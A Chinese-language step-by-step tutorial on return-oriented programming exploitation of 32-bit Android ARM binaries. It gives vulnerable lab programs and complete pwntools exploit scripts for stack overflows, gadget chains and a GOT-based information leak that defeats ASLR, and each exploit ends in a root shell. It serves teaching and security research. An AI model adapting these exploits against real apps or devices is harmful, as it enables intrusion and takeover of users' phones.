一步一步學ROP之Android ARM 32位篇

wyzsk發表於2020-08-19
作者: 蒸米 · 2015/12/17 9:41

0x00 序


ROP的全稱為Return-oriented programming(返回導向程式設計),這是一種高階的記憶體攻擊技術,可以用來繞過現代作業系統的各種通用防禦(比如記憶體不可執行和程式碼簽名等)。之前我們主要討論了linux上的ROP攻擊:

  • 一步一步學ROP之linux_x86篇 /tips/?id=6597
  • 一步一步學ROP之linux_x64篇 /papers/?id=7551
  • 一步一步學ROP之gadgets和2free篇 /binary/?id=10638

在這次的教程中我們會帶來arm上rop利用的技術,歡迎大家繼續學習。

另外文中涉及程式碼可在我的github下載:
https://github.com/zhengmin1989/ROP_STEP_BY_STEP

0x01 ARM上的Buffer Overflow


作為一個程式設計師我們的目標是要會寫所有語言的”hello world”。同樣的,作為一個安全工程師,我們的目標是會exploit掉所有語言的buffer overflow。:)因為buffer overflow實在是太經典了,所以我們的arm篇也是從buffer overflow開始。

首先來看第一個程式 level6.c:

#!c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void callsystem()
{
system("/system/bin/sh");
}

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
if (argc==2&&strcmp("passwd",argv[1])==0)
callsystem();
write(STDOUT_FILENO, "Hello, World\n", 13);    
vulnerable_function();
}

我們的目標是在不使用密碼的情況下,獲取到shell。為了減少難度,我們先將stack canary去掉(在JNI目錄下建立Application.mk並加入APP_CFLAGS += -fno-stack-protector)。隨後用ndk-build進行編譯。然後將level6檔案複製到"/data/local/tmp"目錄下。接下來我們把這個目標程式作為一個服務繫結到伺服器的某個埠上,這裡我們可以使用socat這個工具來完成。最後我們再做一個埠轉發,準備工作就算完成了。基本命令如下:

#!bash
ndk-build
adb push libs/armeabi/level6 /data/local/tmp/
adb shell
cd /data/local/tmp/
./socat TCP4-LISTEN:10001,fork EXEC:./level6
adb forward tcp:10001 tcp:10001

現在我們嘗試連線一下:

#!bash
$ nc 127.0.0.1 10001
Hello, World

發現工作正常。OK,那麼我們開始進行BOF吧。

和之前的x86一樣,我們先用pattern.py來確定溢位點的位置。我們用命令:

#!bash
python pattern.py create 150 

來生成一串測試用的150個位元組的字串:

#!bash
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

然後我們寫一個py指令碼來傳送這串資料。

#!python
#!/usr/bin/env python
from pwn import *

#p = process('./level6')
p = remote('127.0.0.1',10001)

p.recvuntil('\n')

raw_input()

payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"

p.send(payload)

p.interactive()

但因為我們需要獲取崩潰時pc的值,所以在傳送資料前,我們先使用gdb載入上level6。

我們先在電腦上執行python指令碼:

#!bash
[pc]$ python test.py 
[+] Opening connection to 127.0.0.1 on port 10001: Done
…

然後在adb shell中用ps獲取level6的pid,然後再掛載level6,然後用c繼續:

#!bash
[adb]# ./gdb --pid=4895

GNU gdb 6.7
Copyright (C) 2007 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
……
Loaded symbols for /system/lib/libm.so
0xb6eff268 in read () from /system/lib/libc.so
(gdb) c
Continuing.

然後我們再在電腦上輸入回車,讓指令碼傳送資料。然後我們就能夠在gdb裡看到崩潰的pc的值了:

#!bash
Program received signal SIGSEGV, Segmentation fault.
0x41346540 in ?? ()
(gdb) 

因為我們編譯的level6預設是thumb模式,所以我們要在這個崩潰的地址上加個1:0x41346540+1 = 0x41346541。然後用pattern.py計算一下溢位點的位置:

#!bash
$ python pattern.py offset 0x41346541
hex pattern decoded as: Ae4A
132

OK,我們知道了溢位點的位置,接下來我們找一下返回的地址。其實利用的程式碼在程式中已經有了。我們只要將pc指向callsystem()這個函式地址即可。我們在ida中可以看到地址為0x00008554

p1

因為callsystem()被編譯成了thumb指令,所以我們需要將地址+1,讓pc知道這裡的程式碼為thumb指令,最終exp如下:

#!python
#!/usr/bin/env python
from pwn import *

#p = process('./level6')
p = remote('127.0.0.1',10001)

p.recvuntil('\n')

callsystemaddr = 0x00008554 + 1
payload =  'A'*132 + p32(callsystemaddr)

p.send(payload)

p.interactive()

執行效果如下:

#!bash
$ python level6.py 
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ /system/bin/id
uid=0(root) gid=0(root) context=u:r:shell:s0

0x02 尋找thumb gadgets


下面我們來看第二個程式level7.c:

#!c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

char *str="/system/bin/sh";

void callsystem()
{
system("id");
}

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
if (argc==2&&strcmp("passwd",argv[1])==0)
callsystem();
write(STDOUT_FILENO, "Hello, World\n", 13);    
vulnerable_function();
}

在這個程式裡,我們即使知道密碼,也僅僅只能執行”id”這個命令,我們的目標是獲取到一個可以使用的shell,也就是執行system("/system/bin/sh")。怎麼辦呢?這裡我們就需要來尋找可利用的gadgets,先讓r0指向"/system/bin/sh"這個字串的地址,然後再呼叫system()函式達到我們的目的。

如何尋找gadgets呢?雖然用ida或者objdump也可以進行查詢,但比較費時費力,這裡我推薦使用ROPGadget。因為level7預設會編譯成thumb指令,所以我們也採用thumb模式查詢gadgets:

#!bash
$ ROPgadget --binary=./level7 --thumb | grep "ldr r0"
0x00008618 : add r0, pc ; b #0x862e ; ldr r0, [pc, #0x10] ; add r0, pc ; ldr r0, [r0] ; b #0x8634 ; movs r0, #0 ; pop {pc}
0x0000861e : add r0, pc ; ldr r0, [r0] ; b #0x862e ; movs r0, #0 ; pop {pc}
0x0000893e : add r3, sp, #0xc ; movs r1, #0 ; str r3, [sp] ; adds r3, r1, #0 ; bl #0x8916 ; ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
0x000090fe : add r3, sp, #0xc ; str r3, [sp] ; movs r2, #0xc ; adds r3, r1, #0 ; bl #0x8916 ; ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
0x000093ca : add sp, #0x10 ; pop {r4, pc} ; push {r3, lr} ; bl #0x911c ; ldr r0, [r0, #0x48] ; pop {r3, pc}
0x00008826 : add sp, r3 ; pop {r4, r5, r6, r7, pc} ; mov r8, r8 ; stc2 p15, c15, [r4], #-0x3fc ; ldr r0, [r0, #0x44] ; bx lr
……

在這些gadgets中,我們成功找到了一個gadget可以符合我們的要求:

#!bash
0x0000894a : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}

接下來就是找system和"/system/bin/sh"的地址,分別為0x00008404和000096C0:

p2

p3

要注意的是,因為system()函式在plt區域,並沒有被編譯成thumb指令,而是普通的arm指令,因此並不需要將地址+1。最終level7.py如下:

#!python
#!/usr/bin/env python
from pwn import *

#p = process('./level7')
p = remote('30.10.20.253',10001)

p.recvuntil('\n')

#0x0000894a : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
gadget1 = 0x0000894a + 1

#"/system/bin/sh"
r0 = 0x000096C0

#.plt:00008404 ; int system(const char *command)
systemaddr = 0x00008404 

payload =  '\x00'*132 + p32(gadget1) + "\x00"*0xc + p32(r0) + "\x00"*0x4 + p32(systemaddr)

p.send(payload)

p.interactive()

執行結果如下:

#!bash
$ python level7.py 
[+] Opening connection to 30.10.20.253 on port 10001: Done

[*] Switching to interactive mode
$ /system/bin/id
uid=0(root) gid=0(root) context=u:r:shell:s0

0x03 Android上的ASLR


Android上的ASLR其實偽ASLR,因為如果程式是由皆由zygote fork的,那麼所有的系統library(libc,libandroid_runtime等)和dalvik - heap的基址都會是相同的,並且和zygote的記憶體佈局一模一樣。比如我們隨便看兩個由zygote fork的程式:

#!bash
[email protected]:/ # cat /proc/1698/maps
400e8000-400ed000 r-xp 00000000 b3:19 8201       /system/bin/app_process
400ed000-400ee000 r--p 00004000 b3:19 8201       /system/bin/app_process
400ee000-400ef000 rw-p 00005000 b3:19 8201       /system/bin/app_process
400ef000-400fe000 r-xp 00000000 b3:19 8248       /system/bin/linker
400fe000-400ff000 r-xp 00000000 00:00 0          [sigpage]
400ff000-40100000 r--p 0000f000 b3:19 8248       /system/bin/linker
40100000-40101000 rw-p 00010000 b3:19 8248       /system/bin/linker
40101000-40104000 rw-p 00000000 00:00 0 
40104000-40105000 r--p 00000000 00:00 0 
40105000-40106000 rw-p 00000000 00:00 0          [anon:libc_malloc]
40106000-40109000 r-xp 00000000 b3:19 49324      /system/lib/liblog.so
40109000-4010a000 r--p 00002000 b3:19 49324      /system/lib/liblog.so
4010a000-4010b000 rw-p 00003000 b3:19 49324      /system/lib/liblog.so
4010b000-40153000 r-xp 00000000 b3:19 49236      /system/lib/libc.so
40153000-40155000 r--p 00047000 b3:19 49236      /system/lib/libc.so
40155000-40158000 rw-p 00049000 b3:19 49236      /system/lib/libc.so



[email protected]:/ # cat /proc/1720/maps
400e8000-400ed000 r-xp 00000000 b3:19 8201       /system/bin/app_process
400ed000-400ee000 r--p 00004000 b3:19 8201       /system/bin/app_process
400ee000-400ef000 rw-p 00005000 b3:19 8201       /system/bin/app_process
400ef000-400fe000 r-xp 00000000 b3:19 8248       /system/bin/linker
400fe000-400ff000 r-xp 00000000 00:00 0          [sigpage]
400ff000-40100000 r--p 0000f000 b3:19 8248       /system/bin/linker
40100000-40101000 rw-p 00010000 b3:19 8248       /system/bin/linker
40101000-40104000 rw-p 00000000 00:00 0 
40104000-40105000 r--p 00000000 00:00 0 
40105000-40106000 rw-p 00000000 00:00 0          [anon:libc_malloc]
40106000-40109000 r-xp 00000000 b3:19 49324      /system/lib/liblog.so
40109000-4010a000 r--p 00002000 b3:19 49324      /system/lib/liblog.so
4010a000-4010b000 rw-p 00003000 b3:19 49324      /system/lib/liblog.so
4010b000-40153000 r-xp 00000000 b3:19 49236      /system/lib/libc.so
40153000-40155000 r--p 00047000 b3:19 49236      /system/lib/libc.so
40155000-40158000 rw-p 00049000 b3:19 49236      /system/lib/libc.so

可以看到地址都是一模一樣的。這意味著什麼呢?我們知道android上所有的app都是由zygote fork出來的,因此我們只要在自己的app上得到libc.so等庫的地址就可以知道其他app上的地址了。

假設我們已經知道了目標app的libc.so在記憶體中的地址了,那麼應該如何控制pc執行我們希望的rop呢?OK,現在我們現在來看level8.c:

#!c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<dlfcn.h>

void getsystemaddr()
{
void* handle = dlopen("libc.so", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
getsystemaddr();
write(STDOUT_FILENO, "Hello, World\n", 13);    
vulnerable_function();
}

這個程式會先輸出system的地址,相當於我們已經獲取了這個程式的記憶體佈局了。接下來要做的就是在libc.so中尋找我們需要的gadgets和字串地址。因為libc.so很大,我們完全不用擔心找不到需要的gadgets,並且我們只需要控制一個r0即可。因此這些gadgets都能滿足我們的需求:

#!bash
0x00014f48 : ldr r0, [sp, #4] ; pop {r1, r2, r3, pc}
0x0002e404 : ldr r0, [sp, #4] ; pop {r2, r3, r4, r5, r6, pc}
0x00034ace : ldr r0, [sp] ; pop {r1, r2, r3, pc}

接下來就是在libc.so中找system()"/system/bin/sh"的位置:

p4

p5

可以看到地址分別為0x000253A40x0003F9B4。當然了,就算獲取了這些地址,我們也需要根據system()在記憶體中的地址進行偏移量的計算才能夠成功的找到gadgets和"/system/bin/sh"在記憶體中的地址。除此之外,還要注意thumb指令和arm指令的轉換問題。最終的exp level8.py如下:

#!python
#!/usr/bin/env python
from pwn import *

#p = process('./level8')
p = remote('127.0.0.1',10001)

system_addr_str = p.recvuntil('\n')
print "str:" + system_addr_str
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)

p.recvuntil('\n')

#.text:000253A4                 EXPORT system

#0x00034ace : ldr r0, [sp] ; pop {r1, r2, r3, pc}
gadget1 = system_addr + (0x00034ace - 0x000253A4)
print "gadget1 = " + hex(gadget1)

#.rodata:0003F9B4 aSystemBinSh    DCB "/system/bin/sh",0
r0 = system_addr + (0x0003F9B4 - 0x000253A4) - 1
print "/system/bin/sh addr = " + hex(r0)

payload =  '\x00'*132 + p32(gadget1) + p32(r0) + "\x00"*0x8 + p32(system_addr)

p.send(payload)

p.interactive()

執行結果如下:

#!bash
$ python level8.py 
[+] Opening connection to 127.0.0.1 on port 10001: Done
system_addr = 0xb6f1e3a5
gadget1 = 0xb6f2dacf
/system/bin/sh addr = 0xb6f389b4
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) context=u:r:shell:s0

0x04 Android上的information leak


在上面的例子中,我們假設已經知道了libc.so的基址了,但是如果我們是進行遠端攻擊,並且原程式中沒有呼叫system()函式怎麼辦?這意味著目標程式的記憶體佈局對我們來說是隨機的,我們並不能直接呼叫libc.so中的gadgets,因為我們並不知道libc.so在記憶體中的地址。其實這也是有辦法的,我們首先需要一個information leak的漏洞來獲取libc.so在記憶體中的地址,然後再控制pc去執行我們的rop。現在我們來看level9.c:

#!c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<dlfcn.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

p6

p7

雖然程式非常簡單,可用的gadgets很少。但好訊息是我們發現除了程式本身的實現的函式之外,我們還可以使用[email protected]()函式。但因為程式本身並沒有呼叫system()函式,所以我們並不能直接呼叫system()來獲取shell。但其實我們有[email protected]()函式就夠了,因為我們可以透過[email protected]()函式把write()函式在記憶體中的地址也就是write.got給列印出來。既然write()函式實現是在libc.so當中,那我們呼叫的[email protected]()函式為什麼也能實現write()功能呢? 這是因為android和linux類似採用了延時繫結技術,當我們呼叫[email protected]()的時候,系統會將真正的write()函式地址link到got表的write.got中,然後[email protected]()會根據write.got 跳轉到真正的write()函式上去。(如果還是搞不清楚的話,推薦閱讀潘愛民老師的《程式設計師的自我修養 - 連結、裝載與庫》這本書,潘老師是我主管的事情我才不會告訴你。。。)

因為system()函式和write()在libc.so中的offset(相對地址)是不變的,所以如果我們得到了write()的地址並且擁有目標手機上的libc.so就可以計算出system()在記憶體中的地址了。然後我們再將pc指標return回vulnerable_function()函式,就可以進行第二次溢位攻擊了,並且這一次我們知道了system()在記憶體中的地址,就可以呼叫system()函式來獲取我們的shell了。

另外需要注意的是write()函式是三個引數,因此我們還需要控制r1和r2才行,剛好程式中有如下gadget可以滿足我們的需求:

#!bash
#0x0000863a : pop {r1, r2, r4, r5, r6, pc}

另外為了能再一次返回vulnerable_function(),我們需要構造好執行完write函式後的棧的資料,讓程式執行完ADD SP, SP,#0x84;POP {PC}後,PC能再一次指向0x000084D8

p8

最終的explevel9.py如下:

#!python
#!/usr/bin/env python
from pwn import *

#p = process('./level7')
p = remote('30.10.20.253',10001)

p.recvuntil('\n')

#0x00008a12 : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
gadget1 = 0x000088be + 1

#0x0000863a : pop {r1, r2, r4, r5, r6, pc}
gadget2 = 0x0000863a + 1

#.text:000084D8 vulnerable_function
ret_to_vul = 0x000084D8 + 1

#write(r0=1, r1=0x0000AFE8, r2=4)
r0 = 1
r1 = 0x0000AFE8
r2 = 4
r4 = 0
r5 = 0
r6 = 0
write_addr_plt = 0x000083C8

payload =  '\x00'*132 + p32(gadget1) + '\x00'*0xc + p32(r0) + '\x00'*0x4 + p32(gadget2) + p32(r1) + p32(r2) + p32(r4) + p32(r5) + p32(r6) + p32(write_addr_plt) + '\x00' * 0x84 + p32(ret_to_vul)

p.send(payload)

write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)

#.rodata:0003F9B4 aSystemBinSh    DCB "/system/bin/sh",0
#.text:000253A4                 EXPORT system
#.text:00020280                 EXPORT write

r0 = write_addr + (0x0003F9B4 - 0x00020280)
system_addr = write_addr + (0x000253A4 - 0x00020280) + 1

print 'r0=' + hex(r0)
print 'system_addr=' + hex(system_addr)

payload2 =  '\x00'*132 + p32(gadget1) + "\x00"*0xc + p32(r0) + "\x00"*0x4 + p32(system_addr)

p.send(payload2)

p.interactive()

執行exp的結果如下:

#!bash
$ python level9.py 
[+] Opening connection to 30.10.20.253 on port 10001: Done
write_addr=0xb6f27280
r0=0xb6f469b4
system_addr=0xb6f2c3a5
[*] Switching to interactive mode
$ /system/bin/id
uid=0(root) gid=0(root) context=u:r:shell:s0

0x05 Android ROP除錯技巧


因為gdb對thumb指令的解析並不好,所以我還是推薦用ida來進行除錯。如果你還不會用ida,可以先看一下我之前寫的關於ida除錯的文章:

安卓動態除錯七種武器之孔雀翎– Ida pro 
/tips/?id=6840

除此之外,還有個很重要的技巧就是如何讓ida正確的解析指令。ida在很多時候並不知道需要解析的指令是thumb還是arm,有時候甚至都不知道是啥內容。

比如圖中是libc.so中system的程式碼:

p9

這段程式碼其實是thumb指令,但是我們怎麼樣才能讓ida解析正確呢?方法就是用滑鼠選中0xB6EE03A4,然後按alt+g鍵,然後將value改成0x1。這樣的話,ida就會按照thumb指令來解析這段資料了。

p10

我們隨後選中那塊資料然後按c鍵,就可以看到指令被正確的解析了。

p11

0x06 總結


我們這篇文章介紹了32位android的ROP。在下一篇中我會繼續帶來64位arm和iOS上ROP的利用技巧,歡迎大家繼續學習。另外文中涉及程式碼可在我的github下載:

https://github.com/zhengmin1989/ROP_STEP_BY_STEP

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章